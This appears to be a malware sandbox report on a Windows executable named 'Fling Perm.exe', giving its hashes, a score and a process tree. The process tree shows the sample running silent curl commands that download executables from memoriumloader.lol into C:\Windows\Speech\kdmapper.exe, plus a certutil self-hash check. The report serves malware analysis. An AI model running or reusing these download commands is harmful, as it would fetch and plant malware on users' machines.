5798764834c425a434bdde628f5dff15f730c857e05b82031f13a32330fff50c

Analysis

max time kernel
149s
max time network
125s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 04:22

Target
Fling Perm.exe
Size 995KB
Sample260517-ezjbpscs5s
SHA256 5798764834c425a434bdde628f5dff15f730c857e05b82031f13a32330fff50c
MD5 125556f84dd08c4e4e86ca880c0a2b37
SHA1 aabd08ea22d36a863671309a5413521f9161076b
SHA512 a7e82c66a0115d9b9ea3db5798c270c08508bec5e3c633ed9e0622564f6fbf71ed300ca2269fe12997276ea25cabdb0f8aaa6dc7cac79ec115337afe7edb4e71
SSDEEP 24576:TbQ2SZ58GXpY579KNMd0dSzL6hfEVIqI3Y/WOTeRRuwRmbFBch:THO58GXKmC0d1MVIqI3Y/WOTeRRuwRmb
TLSH
T177259D1B6BA401EDC5B7D17CC65B8607E7B270490360ABEB06D186A52F13BE46F3EB41
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 4476	1260	Fling Perm.exe	82
PID 4476 wrote to memory of 5260	4476	cmd.exe	83
PID 1260 wrote to memory of 4516	1260	Fling Perm.exe	84
PID 4516 wrote to memory of 3848	4516	cmd.exe	85
PID 4516 wrote to memory of 6012	4516	cmd.exe	86
PID 4516 wrote to memory of 1344	4516	cmd.exe	87
PID 1260 wrote to memory of 808	1260	Fling Perm.exe	88
PID 808 wrote to memory of 324	808	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe
"C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://memoriumloader.lol/Encrypt.exe --output C:\Windows\Speech\kdmapper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\curl.exe
    curl --silent https://memoriumloader.lol/Encrypt.exe --output C:\Windows\Speech\kdmapper.exe
    3⤵
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe" MD5
    3⤵
    PID:3848
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:6012
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://www.memoriumloader.lol/Encryptor.exe --output C:\Windows\Speech\kdmapper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\curl.exe
    curl --silent https://www.memoriumloader.lol/Encryptor.exe --output C:\Windows\Speech\kdmapper.exe
    3⤵
    PID:324